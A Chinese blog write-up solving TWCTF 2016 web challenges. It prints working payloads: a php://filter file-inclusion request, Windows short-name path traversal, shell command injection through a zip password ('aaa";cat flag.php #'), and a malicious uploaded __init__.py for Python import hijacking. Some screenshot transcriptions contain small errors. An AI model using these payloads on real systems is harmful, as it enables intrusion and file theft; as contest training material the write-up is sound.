## TWCTF 2016 (Tokyo Westerns CTF ) WEB WriteUp



Bendawang ● 于 2016-09-06 21:37:30 发布 ● 3065 ◆ 收藏
 分类专栏: WriteUp Web 文章标签: web TWCTF WriteUp ctf
 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
 本文链接: https://blog.csdn.net/qq\_19876131/article/details/52453875
 版权



WriteUp 同时被 2 个专栏收录

24 篇文章 0 订阅

订阅专栏



34 篇文章 2 订阅 订阅专栏

这个是9.3-9.5举行的一个比赛。上个链接https://score.ctf.westerns.tokyo/problems?locale=en

不过我这一段时间都在忙着做一个智障的项目,大的比赛都没时间做,也就只能赛后来补补题,发现自己还是太菜了,菜的抠脚。

还好题目还开着。不过补题花了不少时间,学了不少姿势。 现在貌似还开着的,不知道会开多久。

## web 50 Global Page

比赛的时候做的,抓包试验了几次就摸清规律了,修改请求头,GET的page参数设置为 php:/,然后在 Accept-Language 参数 设置为 /filter/convert.base64-encode/resource=\*\*,就可以使用 php:// 配合文件包含读取任意文件了。

GET '?page=php:/ H TP/1.1
Host Al. ctf. westerns.tokyo
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html
Accept-Language: /filter/convert.base64-encode/resource=flag
Accept-Encoding
Referer: http://globalpage.chal.ctf.westerns.tokyo/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0



拿到了flag, base64解码得到flag是 TWCTF{I\_found\_simple\_LFI}

web 100 Get the admin password!

一道mdb注入,不多解释了,比较简单,这里就不对mongodb注入做太多说明了,回头有空写个博客来详细总结下好了。 直接写个脚本盲注下就可以了,截图如下: 因为忙着上厕所,所以懒得写二分了,上完回来就跑完了,所以就不贴了代码了,截图如下:

C:\Windows\system32\cmd.exe

E:\CTF\TWctf-2016>python get_admin_pass.py
Т
TW
TWC
TWCT
TWCTF
TWCTF {
TWCTF {w
TWCTF {wa
TWCTF {was
TWCTF {wass
TWCTF {wassh
TWCTF {wassho
TWCTF{wasshoi
TWCTF{wasshoi!
TWCTF{wasshoi!s
TWCTF{wasshoi!su
TWCTF{wasshoi!sum
TWCTF{wasshoi!summ
TWCTF{wasshoi!summe
TWCTF{wasshoi!summer
TWCTF{wasshoi!summer_
TWCTF{wasshoi!summer_f
TWCTF{wasshoi!summer_fe
TWCTF{wasshoi!summer_fes
TWCTF{wasshoi!summer_fest
TWCTF{wasshoi!summer_festi
TWCTF{wasshoi!summer_festiv
TWCTF{wasshoi!summer_festiva
TWCTF{wasshoi!summer_festival
TWCTF{wasshoi!summer_festival!
TWCTF{wasshoi!summer_festival!}

所以最后的flag就是 TWCTF{wasshoi!summer\_festival!}

web 100 Poems

web 150 rotten uploader

题目提示如下:

- The files/directories on the DOCUMENT ROOT are below four.
  - download.php
  - file list.php
  - index.php
  - uploads(directory)

进入之后发现可以直接通过这样子 http://rup.chal.ctf.westerns.tokyo/downloader.php?f=../index.php 下载 到 index.php 和 download.php 的源码,但是下 file\_list.php 下不下来,先读另外两个的源码吧, index.php 如下:

download.php 如下:

```
<?php
header("Content-Type: application/octet-stream");
if(stripos($_GET['f'], 'file_list') !== fALSE) du();
readfile('uploads/' . $_GET['f']); // safe_dir is enabled.
?>
```

阅读之后发现 index.php 里面没啥信息,只是包含了下 file\_list.php,而 download.php 直接把这个过滤了,所以目的就是如 何绕过过滤。

这里也是经过别人提示学到了一个新的姿势,这里通过wireshark抓包可以分析出服务器的操作系统是windows,之前我的博客也 有说怎么判断操作系统,这里我是根据TTL=128得到服务器操作系统是windows的,

Fragment offset: 0 Time to live: 128 Protocol: TCP (6)

而windows是有长文件名和段文件名的区别。 给个链接http://blog.csdn.net/oathevil/article/details/5717341 所以最后payload就是

rup.chal.ctf.westerns.tokyo/download. <mark>;</mark> hp?f=/file_l~1.php	
	正在打开 download.php X
Enable Post data     Enable Referrer	您选择了打开:
	download.php
	文件类型: PHP 文件 (260 字节)
	来源: http://rup.chal.ctf.westerns.tokyo
	您想要 Firefox 如何处理此文件 ?
	● 打开,通过( <u>O</u> ) Sublime Text (默认) ~
	○保存文件(S)
	以后自动采用相同的动作处理此类文件。(A)
	确定 xThunder • 取消

**file\_list.php** 源码如下:



这样就得到提示了,直接又去获取 flag\_c82e41f5bb7c8d4b947c9586444578ade88fe0d7 源码即可拿到flag, flag 是 TWCTF{Hotto Smile}

## web 200 ZIP cracker

这里首页存在备份文件,如下:



```
$res = shell_exec($cmd);
```

然后知道目录下有一个工具fcrackzip,能够访问并且下载其所有的源文件和工具,看完wp知道应该是工具里面写法有问题,这 里时间也不很够就没有去看工具源码,直接给出做法,有兴趣的可以自己去看看。 首先是创建一个以 aaa";1s /# 为密码的zip文件,然后在把密码写进pass.txt



然后上传就可以了,记住勾选 use unzip



看源码发现命令执行了:

```
6
  -I CHARSET specify a character encoding for UNIX and
8 See "unzip -hh" or unzip.txt for more help. Examples:
9
   unzip data1 -x joe => extract all files except joe
   unzip -p foo | more => send contents of foo.zip via
   unzip -fo foo ReadMe => quietly replace existing Read
2 bin
3 boot
4 dev
5 etc
6 home
7 initrd.img
8 lib
9 lib64
0 lost+found
1 media
2 mnt
3 opt
4 proc
5 root
6 run
7 sbin
8 srv
9 sys
0 tmp
1 usr
2 var
3 vmlinuz
4
6 PASSWORD FOUND!!!!: pw == aaa";1s / #
```

那就可以直接 cat flag.php 了



提交 成功拿到flag

```
-1 CHARSET specify a character encoding for UNIX and other archives
See "unzip -hh" or unzip.txt for more help. Examples:
unzip datal -x joe => extract all files except joe from zipfile datal.zip
unzip -p foo | more => send contents of foo.zip via pipe into program more
unzip -fo foo ReadMe => quietly replace existing ReadMe if archive file newer
<??php
$flag = "TWCTF{20-bug-430387-cannot-deal-files-with-special-chars.patch:escape_pw}";
PASSWORD FOUND!!!!: pw == aaa";cat flag.php #
```

## web 300 Tsurai Web

这道题的主要考点就是 例如用的是 \_\_import\_('a') 而当前目录如下:



它会引用文件夹a下的 \_\_\_init\_\_.py

而这里题目的源码可以下下来自己跑起来,就是flask框架写得,不懂得可以看看我的博客里面有关于flask的介绍,嘿嘿 自己跑起来的时候,每创建一个用户,就会在data下创建如下

cadf54049be2d757105d745321480ab6	2016/9/6 20:35	文件夹	
cadf54049be2d757105d745321480ab6.py	2016/9/6 20:35	PY 文件	1 KB

漏洞点在这里



就是最开始说的,它会优先引用同名文件夹的\_\_init\_\_.py,当时前提是得有,但是这里我们上传的所有文件都以原文件名存在 该文件夹下。 所以我们就可以手动上传一个\_\_init\_\_.py, 本地如图:

```
Content-Type: multipart/form-data; boundary=-----5558161214
Content-Length: 219
------555816121469
Content-Disposition: form-data; name="file"; filename="__init__.py"
Content-Type: image/jpeg
import os
```

imgs=os.listdir('./')
-----555816121469--

跟随重定向可以看到



把本地目录所有都读取出来了。

现在上题目操作,其实都是一样的,读取出

```
</torm>
</div>
<div class="row">
 <h2>Your recent photos</h2>
</div>
<div class="row">
  <div class="col-lg-3 q
                                       6 col-xs-12">
   <a class="thumbnail"
     <img src="/show?fitename=flag">
    </a>
  </div>
 <div class="col-lg-3 col-md-4 col-sm-6 col-xs-12">
    <a class="thumbnail">
     <img src="/show?file
                         name=passwd">
    </a>
 \langle div \rangle
  <div class="col-lg-3 col-md-4 col-sm-6 col-xs-12">
    <a class="thumbnail">
    </a>
 </div>
  <div class="col-lg-3 col-md-4 col-sm-6 col-xs-12">
   <a class="thumbnail">
     <img src="/show?fil_name=data">
   </a>
  </div>
 <div class="col-lg-3 col_md-4 col-sm-6 col-xs-12">
    <a class="thumbnail">
     <img src="/show?filename=app.py">
    </a>
 </div>
 </div>
</div>
```

目录下存在一个flag, 接下来直接读取flag文件内容即可

这里我不知道咋回事报500error,所以我重新注册一个账户,上传py执行命令读取flag文件就可以了

```
</a> </div>
```

所以flag就是 TWCTF{TH1S\_Challange\_was\_BORN\_AT\_2016-09-04\_13:03\_JST}